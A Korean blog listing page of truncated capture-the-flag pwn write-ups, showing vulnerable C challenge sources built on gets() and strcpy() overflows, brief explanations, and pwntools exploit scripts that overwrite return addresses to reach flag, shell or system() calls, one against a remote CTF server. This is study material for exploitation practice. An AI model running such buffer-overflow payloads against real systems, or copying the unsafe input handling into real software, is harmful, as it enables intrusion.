목록over (26)
ii4gsp
#include #include #include #include #include #define BUFSIZE 176 #define FLAGSIZE 64 void flag(unsigned int arg1, unsigned int arg2) { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); if (arg1 != 0xDEADBEEF) retur..
#include #include #include #include #include #include "asm.h" #define BUFFSIZE 64 #define FLAGSIZE 64 void flag() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFFSIZE]; gets(buf); printf("Woah, w..
#include #include #include #include #define FLAGSIZE_MAX 64 char flag[FLAGSIZE_MAX]; void sigsegv_handler(int sig) { fprintf(stderr, "%s\n", flag); fflush(stderr); exit(1); } void vuln(char *input){ char buf[128]; strcpy(buf, input); } int main(int argc, char **argv){ FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin..
main()함수에서 scanf()함수로 v4에 입력을받고 1을 입력하면 gets()함수를 실행한다. flag()함수에는 if문을 맞춰주면 flag를 출력해준다. 그냥 main()함수에서 gets()함수를 실행시켜 v5를 오버플로우 시키고 ret를 system()함수와 인자를 전달하면 flag가 출력될것 이다. system()함수의 plt는 0x401050이고, 인자는 0x401231이다. from pwn import * r = remote('shell.actf.co', 19400) r.sendline('1') payload = '' payload += '\x90' * 56 payload += p64(0x401050) payload += p64(0x401231) r.sendline(payload) r.in..
간단한 문제이다. main()함수에서 create_aquarium()함수를 호출한다. create_aquarium()함수에서 scanf()함수로 6번 각 변수에 입력을받고 gets()함수로 변수 dest에 입력을받고, strcpy()함수로 dest에 입력한 내용을 src에 복사를 한다. src를 오버플로우 일으켜 ret를 flag()함수로 조작하면 된다. from pwn import * p = remote('shell.actf.co', 19305) e = ELF('/home/ii4gsp/aquarium') flag = e.symbols['flag'] p.sendlineafter(': ', '1') p.sendlineafter(': ', '1') p.sendlineafter(': ', '1') p.send..
간단한다. gets()함수로 ret를 give_shell()함수로 덮어주면 된다. SFP 포함 32byte이다. from pwn import * p = process('/home/ii4gsp/get_it') e = ELF('/home/ii4gsp/get_it') give_shell = e.symbols['give_shell'] payload = '' payload += '\x90' * 32 payload += p64(give_shell) p.sendline(payload) p.interactive()
read()함수로 buf에 24byte만큼 입력을받는다. v6가 0xCAF3BAEE 이면, 쉘을 획득한다. from pwn import * p = process('/home/ii4gsp/boi') payload = '' payload += '\x90' * 20 payload += p64(0xCAF3BAEE) p.sendline(payload) p.interactive() 간단
IDA로 파일을 열어보면 read()함수로 buf에 0x18 즉, 24byte만큼 입력을받는다. 각 변수가 4byte씩 차이가난다. 순서대로 조건을 맞춰주면 get_flag()함수가 실행되어 쉘을 획득한다. flag_ptr은 get_flag()함수를 가리키고있다. Exploit from pwn import * p = process('/home/ii4gsp/simpleBOF') payload = '' payload += '\x90' * 4 payload += 'FLAG' payload += p32(0x080484cb) payload += p32(0x31323334) payload += p32(0xffffffff) payload += p32(0xbc614e) p.sendline(payload) p.inter..